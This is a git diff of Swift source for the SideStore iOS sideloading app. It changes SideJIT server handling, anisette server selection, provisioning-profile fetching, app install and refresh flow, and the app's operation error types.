self.finish(.failure(OperationError.unableToConnectSideJIT))
|
|
||||||
case .deviceNotFound:
|
|
||||||
self.finish(.failure(OperationError.unableToRespondSideJITDevice))
|
|
||||||
case .other(let message):
|
|
||||||
if let startRange = message.range(of: "<p>"),
|
|
||||||
let endRange = message.range(of: "</p>", range: startRange.upperBound..<message.endIndex) {
|
|
||||||
let pContent = message[startRange.upperBound..<endRange.lowerBound]
|
|
||||||
self.finish(.failure(OperationError.SideJITIssue(error: String(pContent))))
|
|
||||||
print(message + " + " + String(pContent))
|
|
||||||
} else {
|
|
||||||
print(message)
|
|
||||||
self.finish(.failure(OperationError.SideJITIssue(error: message)))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
case .success():
|
|
||||||
self.finish(.success(()))
|
|
||||||
print("Thank you for using this, it was made by Stossy11 and tested by trolley or sniper1239408")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
installedApp.managedObjectContext?.perform {
|
|
||||||
var retries = 3
|
|
||||||
while (retries > 0){
|
|
||||||
do {
|
|
||||||
try debug_app(installedApp.resignedBundleIdentifier)
|
|
||||||
self.finish(.success(()))
|
|
||||||
retries = 0
|
|
||||||
} catch {
|
|
||||||
retries -= 1
|
|
||||||
if (retries <= 0){
|
|
||||||
self.finish(.failure(error))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
self.finish(.success(()))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@available(iOS 17, *)
|
|
||||||
func EnableJITSideJITServer(serverurl: String, installedapp: InstalledApp, completion: @escaping (Result<Void, SideJITServerErrorType>) -> Void) {
|
|
||||||
guard let udid = fetch_udid()?.toString() else {
|
|
||||||
completion(.failure(.other("Unable to get UDID")))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
var SJSURL = serverurl
|
|
||||||
|
|
||||||
if (UserDefaults.standard.textInputSideJITServerurl ?? "").isEmpty {
|
|
||||||
SJSURL = "http://sidejitserver._http._tcp.local:8080"
|
|
||||||
}
|
|
||||||
|
|
||||||
if !SJSURL.hasPrefix("http") {
|
|
||||||
completion(.failure(.invalidURL))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
let fullurl = SJSURL + "/\(udid)/" + installedapp.resignedBundleIdentifier
|
|
||||||
|
|
||||||
let url = URL(string: fullurl)!
|
|
||||||
|
|
||||||
let task = URLSession.shared.dataTask(with: url) {(data, response, error) in
|
|
||||||
if let error = error {
|
|
||||||
completion(.failure(.errorConnecting))
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
guard let data = data, let datastring = String(data: data, encoding: .utf8) else { return }
|
|
||||||
|
|
||||||
if datastring == "Enabled JIT for '\(installedapp.name)'!" {
|
|
||||||
let content = UNMutableNotificationContent()
|
|
||||||
content.title = "JIT Successfully Enabled"
|
|
||||||
content.subtitle = "JIT Enabled For \(installedapp.name)"
|
|
||||||
content.sound = UNNotificationSound.default
|
|
||||||
|
|
||||||
let trigger = UNTimeIntervalNotificationTrigger(timeInterval: 0.1, repeats: false)
|
|
||||||
let request = UNNotificationRequest(identifier: "EnabledJIT", content: content, trigger: nil)
|
|
||||||
|
|
||||||
UNUserNotificationCenter.current().add(request)
|
|
||||||
completion(.success(()))
|
|
||||||
} else {
|
|
||||||
let errorType: SideJITServerErrorType = datastring == "Could not find device!" ? .deviceNotFound : .other(datastring)
|
|
||||||
completion(.failure(errorType))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
task.resume()
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -45,122 +45,17 @@ final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSoc
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// TODO: Pass in proper view context to show the Toast messages
|
self.url = AnisetteManager.currentURL
|
||||||
let viewContext = context.presentingViewController
|
print("Anisette URL: \(self.url!.absoluteString)")
|
||||||
|
|
||||||
getAnisetteServerUrl(viewContext){ url, error in
|
if let identifier = Keychain.shared.identifier,
|
||||||
guard let urlString = url else {
|
let adiPb = Keychain.shared.adiPb {
|
||||||
self.finish(.failure(error!))
|
fetchAnisetteV3(identifier, adiPb)
|
||||||
return
|
} else {
|
||||||
}
|
provision()
|
||||||
|
|
||||||
// set as preferred
|
|
||||||
UserDefaults.standard.menuAnisetteURL = urlString
|
|
||||||
let url = URL(string: urlString)
|
|
||||||
self.url = url
|
|
||||||
print("Anisette URL: \(self.url!.absoluteString)")
|
|
||||||
|
|
||||||
if let identifier = Keychain.shared.identifier,
|
|
||||||
let adiPb = Keychain.shared.adiPb {
|
|
||||||
self.fetchAnisetteV3(identifier, adiPb)
|
|
||||||
} else {
|
|
||||||
self.provision()
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
func getAnisetteServerUrl(_ viewContext: UIViewController?, completion: @escaping (String?, Error?) -> Void) {
|
|
||||||
var serverUrls = UserDefaults.standard.menuAnisetteServersList
|
|
||||||
let currentServer = UserDefaults.standard.menuAnisetteURL
|
|
||||||
|
|
||||||
// Prioritize the current server by moving it to the top of the list
|
|
||||||
if let currentServerIndex = serverUrls.firstIndex(of: currentServer) {
|
|
||||||
serverUrls.remove(at: currentServerIndex)
|
|
||||||
serverUrls.insert(currentServer, at: 0)
|
|
||||||
}
|
|
||||||
|
|
||||||
tryNextServer(from: serverUrls, viewContext, currentIndex: 0, completion: completion)
|
|
||||||
}
|
|
||||||
|
|
||||||
private func showToast(viewContext: UIViewController?, message: String){
|
|
||||||
if let viewContext = viewContext{
|
|
||||||
let error = OperationError.anisetteV1Error(message: message)
|
|
||||||
let toastView = ToastView(error: error)
|
|
||||||
// toastView.textLabel.textColor = .altPrimary
|
|
||||||
// toastView.detailTextLabel.textColor = .altPrimary
|
|
||||||
DispatchQueue.main.async {
|
|
||||||
toastView.show(in: viewContext)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private func tryNextServer(from serverUrls: [String], _ viewContext: UIViewController?,currentIndex: Int, completion: @escaping (String?, Error?) -> Void) {
|
|
||||||
// Check if all URLs have been exhausted
|
|
||||||
guard currentIndex < serverUrls.count else {
|
|
||||||
let error = NSError(domain: "AnisetteError", code: 0, userInfo: [NSLocalizedDescriptionKey: "No valid server found."])
|
|
||||||
completion(nil, error)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
let currentServerUrlString = serverUrls[currentIndex]
|
|
||||||
guard let url = URL(string: currentServerUrlString) else {
|
|
||||||
// Invalid URL, skip to next
|
|
||||||
let errmsg = "Skipping invalid URL: \(currentServerUrlString)"
|
|
||||||
print(errmsg)
|
|
||||||
showToast(viewContext: viewContext, message: errmsg)
|
|
||||||
tryNextServer(from: serverUrls, viewContext, currentIndex: currentIndex + 1, completion: completion)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
// Attempt to ping the current URL
|
|
||||||
pingServer(url) { success, error in
|
|
||||||
if success {
|
|
||||||
// If the server is reachable, return the URL
|
|
||||||
let okmsg = "Found working server: \(url.absoluteString)"
|
|
||||||
print(okmsg)
|
|
||||||
if(currentIndex > 0){
|
|
||||||
// notify user if available server is different the user-specified one
|
|
||||||
self.showToast(viewContext: viewContext, message: okmsg)
|
|
||||||
}
|
|
||||||
completion(url.absoluteString, nil)
|
|
||||||
} else {
|
|
||||||
// If not, try the next URL
|
|
||||||
let errmsg = "Failed to reach server: \(url.absoluteString), trying next server."
|
|
||||||
print(errmsg)
|
|
||||||
self.showToast(viewContext: viewContext, message: errmsg)
|
|
||||||
self.tryNextServer(from: serverUrls, viewContext, currentIndex: currentIndex + 1, completion: completion)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func pingServer(_ url: URL, completion: @escaping (Bool, Error?) -> Void) {
|
|
||||||
var request = URLRequest(url: url)
|
|
||||||
request.timeoutInterval = 10 // Timeout after 10 seconds
|
|
||||||
|
|
||||||
let task = URLSession.shared.dataTask(with: request) { (data, response, error) in
|
|
||||||
if let error = error {
|
|
||||||
completion(false, error)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
let httpResponse = response as? HTTPURLResponse
|
|
||||||
let statusCode = httpResponse?.statusCode
|
|
||||||
|
|
||||||
guard let statusCode = statusCode,
|
|
||||||
(200...299).contains(statusCode) else {
|
|
||||||
let serverError = OperationError.anisetteV3Error(message: "Server unreachable or invalid response: \(String(describing: statusCode ?? nil))")
|
|
||||||
completion(false, serverError)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
completion(true, nil)
|
|
||||||
}
|
|
||||||
|
|
||||||
task.resume()
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
// MARK: - COMMON
|
// MARK: - COMMON
|
||||||
|
|
||||||
func extractAnisetteData(_ data: Data, _ response: HTTPURLResponse?, v3: Bool) throws {
|
func extractAnisetteData(_ data: Data, _ response: HTTPURLResponse?, v3: Bool) throws {
|
||||||
@@ -261,14 +156,8 @@ final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSoc
|
|||||||
self.finish(.failure(OperationError.cancelled))
|
self.finish(.failure(OperationError.cancelled))
|
||||||
}))
|
}))
|
||||||
|
|
||||||
let keyWindow = UIApplication.shared.windows.filter { $0.isKeyWindow }.first
|
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async {
|
||||||
if let presentingController = keyWindow?.rootViewController?.presentedViewController {
|
UIApplication.topController?.present(alert, animated: true)
|
||||||
presentingController.present(alert, animated: true)
|
|
||||||
} else {
|
|
||||||
keyWindow?.rootViewController?.present(alert, animated: true)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -323,7 +212,7 @@ final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSoc
|
|||||||
self.socket.connect()
|
self.socket.connect()
|
||||||
}
|
}
|
||||||
|
|
||||||
func didReceive(event: WebSocketEvent, client: WebSocketClient) {
|
func didReceive(event: WebSocketEvent, client: WebSocket) {
|
||||||
switch event {
|
switch event {
|
||||||
case .text(let string):
|
case .text(let string):
|
||||||
do {
|
do {
|
||||||
@@ -513,7 +402,6 @@ final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSoc
|
|||||||
func fetchAnisetteV3(_ identifier: String, _ adiPb: String) {
|
func fetchAnisetteV3(_ identifier: String, _ adiPb: String) {
|
||||||
fetchClientInfo {
|
fetchClientInfo {
|
||||||
print("Fetching anisette V3")
|
print("Fetching anisette V3")
|
||||||
let url = UserDefaults.standard.menuAnisetteURL
|
|
||||||
var request = URLRequest(url: self.url!.appendingPathComponent("v3").appendingPathComponent("get_headers"))
|
var request = URLRequest(url: self.url!.appendingPathComponent("v3").appendingPathComponent("get_headers"))
|
||||||
request.httpMethod = "POST"
|
request.httpMethod = "POST"
|
||||||
request.httpBody = try! JSONSerialization.data(withJSONObject: [
|
request.httpBody = try! JSONSerialization.data(withJSONObject: [
|
||||||
@@ -535,7 +423,7 @@ final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSoc
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
extension WebSocketClient {
|
extension WebSocket {
|
||||||
func json(_ dictionary: [String: String]) {
|
func json(_ dictionary: [String: String]) {
|
||||||
let data = try! JSONSerialization.data(withJSONObject: dictionary, options: [])
|
let data = try! JSONSerialization.data(withJSONObject: dictionary, options: [])
|
||||||
self.write(string: String(data: data, encoding: .utf8)!)
|
self.write(string: String(data: data, encoding: .utf8)!)
|
||||||
|
|||||||
@@ -39,9 +39,7 @@ final class FetchAppIDsOperation: ResultOperation<([AppID], NSManagedObjectConte
|
|||||||
guard
|
guard
|
||||||
let team = self.context.team,
|
let team = self.context.team,
|
||||||
let session = self.context.session
|
let session = self.context.session
|
||||||
else {
|
else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||||
return self.finish(.failure(OperationError.invalidParameters("FetchAppIDsOperation.main: self.context.team or self.context.session is nil")))
|
|
||||||
}
|
|
||||||
|
|
||||||
ALTAppleAPI.shared.fetchAppIDs(for: team, session: session) { (appIDs, error) in
|
ALTAppleAPI.shared.fetchAppIDs(for: team, session: session) { (appIDs, error) in
|
||||||
self.managedObjectContext.perform {
|
self.managedObjectContext.perform {
|
||||||
|
|||||||
@@ -43,10 +43,9 @@ final class FetchProvisioningProfilesOperation: ResultOperation<[String: ALTProv
|
|||||||
guard
|
guard
|
||||||
let team = self.context.team,
|
let team = self.context.team,
|
||||||
let session = self.context.session
|
let session = self.context.session
|
||||||
else {
|
else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||||
return self.finish(.failure(OperationError.invalidParameters("FetchProvisioningProfilesOperation.main: self.context.team or self.context.session is nil"))) }
|
|
||||||
|
|
||||||
guard let app = self.context.app else { return self.finish(.failure(OperationError.appNotFound(name: nil))) }
|
guard let app = self.context.app else { return self.finish(.failure(OperationError.appNotFound)) }
|
||||||
|
|
||||||
self.progress.totalUnitCount = Int64(1 + app.appExtensions.count)
|
self.progress.totalUnitCount = Int64(1 + app.appExtensions.count)
|
||||||
|
|
||||||
@@ -261,7 +260,7 @@ extension FetchProvisioningProfilesOperation
|
|||||||
{
|
{
|
||||||
if let expirationDate = sortedExpirationDates.first
|
if let expirationDate = sortedExpirationDates.first
|
||||||
{
|
{
|
||||||
throw OperationError.maximumAppIDLimitReached(appName: application.name, requiredAppIDs: requiredAppIDs, availableAppIDs: availableAppIDs, expirationDate: expirationDate)
|
throw OperationError.maximumAppIDLimitReached(application: application, requiredAppIDs: requiredAppIDs, availableAppIDs: availableAppIDs, nextExpirationDate: expirationDate)
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@@ -291,7 +290,7 @@ extension FetchProvisioningProfilesOperation
|
|||||||
{
|
{
|
||||||
if let expirationDate = sortedExpirationDates.first
|
if let expirationDate = sortedExpirationDates.first
|
||||||
{
|
{
|
||||||
throw OperationError.maximumAppIDLimitReached(appName: application.name, requiredAppIDs: requiredAppIDs, availableAppIDs: availableAppIDs, expirationDate: expirationDate)
|
throw OperationError.maximumAppIDLimitReached(application: application, requiredAppIDs: requiredAppIDs, availableAppIDs: availableAppIDs, nextExpirationDate: expirationDate)
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@@ -299,19 +298,6 @@ extension FetchProvisioningProfilesOperation
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch ALTAppleAPIError.bundleIdentifierUnavailable {
|
|
||||||
ALTAppleAPI.shared.fetchAppIDs(for: team, session: session) {res, err in
|
|
||||||
if let err = err {
|
|
||||||
return completionHandler(.failure(err))
|
|
||||||
}
|
|
||||||
guard let res = res else {return completionHandler(.failure(ALTError(.unknown)))}
|
|
||||||
for appid in res {
|
|
||||||
if appid.bundleIdentifier == bundleIdentifier {
|
|
||||||
completionHandler(.success(appid))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
completionHandler(.failure(error))
|
completionHandler(.failure(error))
|
||||||
@@ -376,9 +362,7 @@ extension FetchProvisioningProfilesOperation
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
appID.entitlements = entitlements
|
if updateFeatures
|
||||||
|
|
||||||
if updateFeatures || true
|
|
||||||
{
|
{
|
||||||
let appID = appID.copy() as! ALTAppID
|
let appID = appID.copy() as! ALTAppID
|
||||||
appID.features = features
|
appID.features = features
|
||||||
|
|||||||
@@ -10,11 +10,7 @@ import Foundation
|
|||||||
|
|
||||||
private extension URL
|
private extension URL
|
||||||
{
|
{
|
||||||
#if STAGING
|
|
||||||
static let trustedSources = URL(string: "https://raw.githubusercontent.com/SideStore/SideStore/develop/trustedapps.json")!
|
static let trustedSources = URL(string: "https://raw.githubusercontent.com/SideStore/SideStore/develop/trustedapps.json")!
|
||||||
#else
|
|
||||||
static let trustedSources = URL(string: "https://raw.githubusercontent.com/SideStore/SideStore/develop/trustedapps.json")!
|
|
||||||
#endif
|
|
||||||
}
|
}
|
||||||
|
|
||||||
extension FetchTrustedSourcesOperation
|
extension FetchTrustedSourcesOperation
|
||||||
|
|||||||
@@ -41,16 +41,12 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
|||||||
|
|
||||||
guard
|
guard
|
||||||
let certificate = self.context.certificate,
|
let certificate = self.context.certificate,
|
||||||
let resignedApp = self.context.resignedApp,
|
let resignedApp = self.context.resignedApp
|
||||||
let provisioningProfiles = self.context.provisioningProfiles
|
else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||||
else {
|
|
||||||
return self.finish(.failure(OperationError.invalidParameters("InstallAppOperation.main: self.context.certificate or self.context.resignedApp or self.context.provisioningProfiles is nil")))
|
|
||||||
}
|
|
||||||
|
|
||||||
let backgroundContext = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
let backgroundContext = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
||||||
backgroundContext.perform {
|
backgroundContext.perform {
|
||||||
|
|
||||||
|
|
||||||
/* App */
|
/* App */
|
||||||
let installedApp: InstalledApp
|
let installedApp: InstalledApp
|
||||||
|
|
||||||
@@ -115,28 +111,13 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
|||||||
|
|
||||||
installedApp.appExtensions = installedExtensions
|
installedApp.appExtensions = installedExtensions
|
||||||
|
|
||||||
// Remove stale "PlugIns" (Extensions) from currently installed App
|
|
||||||
if let installedAppExns = ALTApplication(fileURL: installedApp.fileURL)?.appExtensions {
|
|
||||||
let currentAppExns = Set(installedApp.appExtensions).map{ $0.bundleIdentifier }
|
|
||||||
let staleAppExns = installedAppExns.filter{ !currentAppExns.contains($0.bundleIdentifier) }
|
|
||||||
|
|
||||||
for staleAppExn in staleAppExns {
|
|
||||||
do {
|
|
||||||
try FileManager.default.removeItem(at: staleAppExn.fileURL)
|
|
||||||
print("InstallAppOperation.appExtensions: removed stale app-extension: \(staleAppExn.fileURL)")
|
|
||||||
} catch {
|
|
||||||
print("InstallAppOperation.appExtensions processing error Error: \(error)")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
self.context.beginInstallationHandler?(installedApp)
|
self.context.beginInstallationHandler?(installedApp)
|
||||||
|
|
||||||
// Temporary directory and resigned .ipa no longer needed, so delete them now to ensure AltStore doesn't quit before we get the chance to.
|
// Temporary directory and resigned .ipa no longer needed, so delete them now to ensure AltStore doesn't quit before we get the chance to.
|
||||||
self.cleanUp()
|
self.cleanUp()
|
||||||
|
|
||||||
if let sideloadedAppsLimit = UserDefaults.standard.activeAppsLimit, provisioningProfiles.contains(where: { $1.isFreeProvisioningProfile == true })
|
var activeProfiles: Set<String>?
|
||||||
|
if let sideloadedAppsLimit = UserDefaults.standard.activeAppsLimit
|
||||||
{
|
{
|
||||||
// When installing these new profiles, AltServer will remove all non-active profiles to ensure we remain under limit.
|
// When installing these new profiles, AltServer will remove all non-active profiles to ensure we remain under limit.
|
||||||
|
|
||||||
@@ -161,14 +142,15 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
|||||||
installedApp.isActive = false
|
installedApp.isActive = false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
else
|
activeProfiles = Set(activeApps.flatMap { (installedApp) -> [String] in
|
||||||
{
|
let appExtensionProfiles = installedApp.appExtensions.map { $0.resignedBundleIdentifier }
|
||||||
installedApp.isActive = true
|
return [installedApp.resignedBundleIdentifier] + appExtensionProfiles
|
||||||
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
var installing = true
|
var installing = true
|
||||||
if installedApp.storeApp?.bundleIdentifier.range(of: Bundle.Info.appbundleIdentifier) != nil {
|
if installedApp.storeApp?.bundleIdentifier == Bundle.Info.appbundleIdentifier {
|
||||||
// Reinstalling ourself will hang until we leave the app, so we need to exit it without force closing
|
// Reinstalling ourself will hang until we leave the app, so we need to exit it without force closing
|
||||||
DispatchQueue.main.asyncAfter(deadline: .now() + 3) {
|
DispatchQueue.main.asyncAfter(deadline: .now() + 3) {
|
||||||
if UIApplication.shared.applicationState != .active {
|
if UIApplication.shared.applicationState != .active {
|
||||||
@@ -180,6 +162,7 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
print("We are still installing after 3 seconds")
|
print("We are still installing after 3 seconds")
|
||||||
|
|
||||||
UNUserNotificationCenter.current().getNotificationSettings { settings in
|
UNUserNotificationCenter.current().getNotificationSettings { settings in
|
||||||
switch (settings.authorizationStatus) {
|
switch (settings.authorizationStatus) {
|
||||||
case .authorized, .ephemeral, .provisional:
|
case .authorized, .ephemeral, .provisional:
|
||||||
@@ -187,45 +170,47 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
|||||||
|
|
||||||
let content = UNMutableNotificationContent()
|
let content = UNMutableNotificationContent()
|
||||||
content.title = "Refreshing..."
|
content.title = "Refreshing..."
|
||||||
content.body = "SideStore will automatically move to the homescreen to finish refreshing!"
|
content.body = "To finish refreshing, SideStore must be moved to the background, which it does by opening Safari. Please reopen SideStore after it is done refreshing!"
|
||||||
let notification = UNNotificationRequest(identifier: Bundle.Info.appbundleIdentifier + ".FinishRefreshNotification", content: content, trigger: UNTimeIntervalNotificationTrigger(timeInterval: 2, repeats: false))
|
let notification = UNNotificationRequest(identifier: Bundle.Info.appbundleIdentifier + ".FinishRefreshNotification", content: content, trigger: UNTimeIntervalNotificationTrigger(timeInterval: 2, repeats: false))
|
||||||
UNUserNotificationCenter.current().add(notification)
|
UNUserNotificationCenter.current().add(notification)
|
||||||
|
|
||||||
|
DispatchQueue.main.async { UIApplication.shared.open(URL(string: "x-web-search://")!) }
|
||||||
|
|
||||||
break
|
break
|
||||||
default:
|
default:
|
||||||
print("Notifications are not enabled")
|
print("Notifications are not enabled")
|
||||||
|
|
||||||
let alert = UIAlertController(title: "Finish Refresh", message: "Please reopen SideStore after the process is finished.To finish refreshing, SideStore must be moved to the background. To do this, you can either go to the Home Screen manually or by hitting Continue. Please reopen SideStore after doing this.", preferredStyle: .alert)
|
let alert = UIAlertController(title: "Finish Refresh", message: "To finish refreshing, SideStore must be moved to the background. To do this, you can either go to the Home Screen or open Safari by pressing Continue. Please reopen SideStore after doing this.", preferredStyle: .alert)
|
||||||
alert.addAction(UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default, handler: { _ in
|
alert.addAction(UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default, handler: { _ in
|
||||||
print("Going home")
|
print("Opening Safari")
|
||||||
UIApplication.shared.perform(#selector(NSXPCConnection.suspend))
|
DispatchQueue.main.async { UIApplication.shared.open(URL(string: "x-web-search://")!) }
|
||||||
}))
|
}))
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async {
|
||||||
let keyWindow = UIApplication.shared.windows.filter { $0.isKeyWindow }.first
|
if var topController = UIApplication.topController {
|
||||||
if var topController = keyWindow?.rootViewController {
|
|
||||||
while let presentedViewController = topController.presentedViewController {
|
|
||||||
topController = presentedViewController
|
|
||||||
}
|
|
||||||
topController.present(alert, animated: true)
|
topController.present(alert, animated: true)
|
||||||
} else {
|
} else {
|
||||||
print("No key window? Let's just go home")
|
print("No key window? Let's just open Safari")
|
||||||
|
UIApplication.shared.open(URL(string: "x-web-search://")!)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
break
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
UIApplication.shared.perform(#selector(NSXPCConnection.suspend))
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
do {
|
do {
|
||||||
try install_ipa(installedApp.bundleIdentifier)
|
try install_ipa(installedApp.bundleIdentifier)
|
||||||
installing = false
|
installing = false
|
||||||
installedApp.refreshedDate = Date()
|
} catch {
|
||||||
self.finish(.success(installedApp))
|
|
||||||
} catch let error {
|
|
||||||
installing = false
|
installing = false
|
||||||
self.finish(.failure(error))
|
return self.finish(.failure(error))
|
||||||
}
|
}
|
||||||
|
|
||||||
|
installedApp.refreshedDate = Date()
|
||||||
|
self.finish(.success(installedApp))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -240,10 +225,8 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
|||||||
|
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
if(FileManager.default.fileExists(atPath: fileURL.path)){
|
try FileManager.default.removeItem(at: fileURL)
|
||||||
try FileManager.default.removeItem(at: fileURL)
|
print("Removed refreshed IPA")
|
||||||
print("Removed refreshed IPA")
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -13,9 +13,6 @@ class ResultOperation<ResultType>: Operation
|
|||||||
{
|
{
|
||||||
var resultHandler: ((Result<ResultType, Error>) -> Void)?
|
var resultHandler: ((Result<ResultType, Error>) -> Void)?
|
||||||
|
|
||||||
// Should only be set by subclasses
|
|
||||||
var localizedFailure: String?
|
|
||||||
|
|
||||||
@available(*, unavailable)
|
@available(*, unavailable)
|
||||||
override func finish()
|
override func finish()
|
||||||
{
|
{
|
||||||
@@ -26,18 +23,14 @@ class ResultOperation<ResultType>: Operation
|
|||||||
{
|
{
|
||||||
guard !self.isFinished else { return }
|
guard !self.isFinished else { return }
|
||||||
|
|
||||||
var result = result
|
|
||||||
|
|
||||||
if self.isCancelled
|
if self.isCancelled
|
||||||
{
|
{
|
||||||
result = .failure(OperationError.cancelled)
|
self.resultHandler?(.failure(OperationError.cancelled))
|
||||||
}
|
}
|
||||||
else if case .failure(let nsError as NSError) = result, let localizedFailure, nsError.localizedFailure == nil {
|
else
|
||||||
// Error doesn't have its own localizedFailure, so we give it the Operation's (if it exists)
|
{
|
||||||
let error = nsError.withLocalizedFailure(localizedFailure)
|
self.resultHandler?(result)
|
||||||
result = .failure(error)
|
|
||||||
}
|
}
|
||||||
self.resultHandler?(result)
|
|
||||||
|
|
||||||
super.finish()
|
super.finish()
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,201 +8,63 @@
|
|||||||
|
|
||||||
import Foundation
|
import Foundation
|
||||||
import AltSign
|
import AltSign
|
||||||
import AltStoreCore
|
|
||||||
import minimuxer
|
import minimuxer
|
||||||
|
|
||||||
extension OperationError
|
enum OperationError: LocalizedError
|
||||||
{
|
{
|
||||||
enum Code: Int, ALTErrorCode, CaseIterable {
|
static let domain = OperationError.unknown._domain
|
||||||
typealias Error = OperationError
|
|
||||||
|
|
||||||
// General
|
case unknown
|
||||||
case unknown = 1000
|
case unknownResult
|
||||||
case unknownResult
|
case cancelled
|
||||||
case cancelled
|
case timedOut
|
||||||
case timedOut
|
|
||||||
case unableToConnectSideJIT
|
|
||||||
case unableToRespondSideJITDevice
|
|
||||||
case wrongSideJITIP
|
|
||||||
case SideJITIssue // (error: String)
|
|
||||||
case refreshsidejit
|
|
||||||
case notAuthenticated
|
|
||||||
case appNotFound
|
|
||||||
case unknownUDID
|
|
||||||
case invalidApp
|
|
||||||
case invalidParameters
|
|
||||||
case maximumAppIDLimitReached//((application: ALTApplication, requiredAppIDs: Int, availableAppIDs: Int, nextExpirationDate: Date)
|
|
||||||
case noSources
|
|
||||||
case openAppFailed//(name: String)
|
|
||||||
case missingAppGroup
|
|
||||||
case refreshAppFailed
|
|
||||||
|
|
||||||
// Connection
|
case notAuthenticated
|
||||||
case noWiFi = 1200
|
case appNotFound
|
||||||
case tooNewError
|
|
||||||
case anisetteV1Error//(message: String)
|
|
||||||
case provisioningError//(result: String, message: String?)
|
|
||||||
case anisetteV3Error//(message: String)
|
|
||||||
|
|
||||||
case cacheClearError//(errors: [String])
|
case unknownUDID
|
||||||
}
|
|
||||||
|
|
||||||
static let unknownResult: OperationError = .init(code: .unknownResult)
|
case invalidApp
|
||||||
static let cancelled: OperationError = .init(code: .cancelled)
|
case invalidParameters
|
||||||
static let timedOut: OperationError = .init(code: .timedOut)
|
|
||||||
static let unableToConnectSideJIT: OperationError = .init(code: .unableToConnectSideJIT)
|
|
||||||
static let unableToRespondSideJITDevice: OperationError = .init(code: .unableToRespondSideJITDevice)
|
|
||||||
static let wrongSideJITIP: OperationError = .init(code: .wrongSideJITIP)
|
|
||||||
static let notAuthenticated: OperationError = .init(code: .notAuthenticated)
|
|
||||||
static let unknownUDID: OperationError = .init(code: .unknownUDID)
|
|
||||||
static let invalidApp: OperationError = .init(code: .invalidApp)
|
|
||||||
static let noSources: OperationError = .init(code: .noSources)
|
|
||||||
static let missingAppGroup: OperationError = .init(code: .missingAppGroup)
|
|
||||||
|
|
||||||
static let noWiFi: OperationError = .init(code: .noWiFi)
|
case maximumAppIDLimitReached(application: ALTApplication, requiredAppIDs: Int, availableAppIDs: Int, nextExpirationDate: Date)
|
||||||
static let tooNewError: OperationError = .init(code: .tooNewError)
|
|
||||||
static let provisioningError: OperationError = .init(code: .provisioningError)
|
|
||||||
static let anisetteV1Error: OperationError = .init(code: .anisetteV1Error)
|
|
||||||
static let anisetteV3Error: OperationError = .init(code: .anisetteV3Error)
|
|
||||||
|
|
||||||
static let cacheClearError: OperationError = .init(code: .cacheClearError)
|
case noSources
|
||||||
|
|
||||||
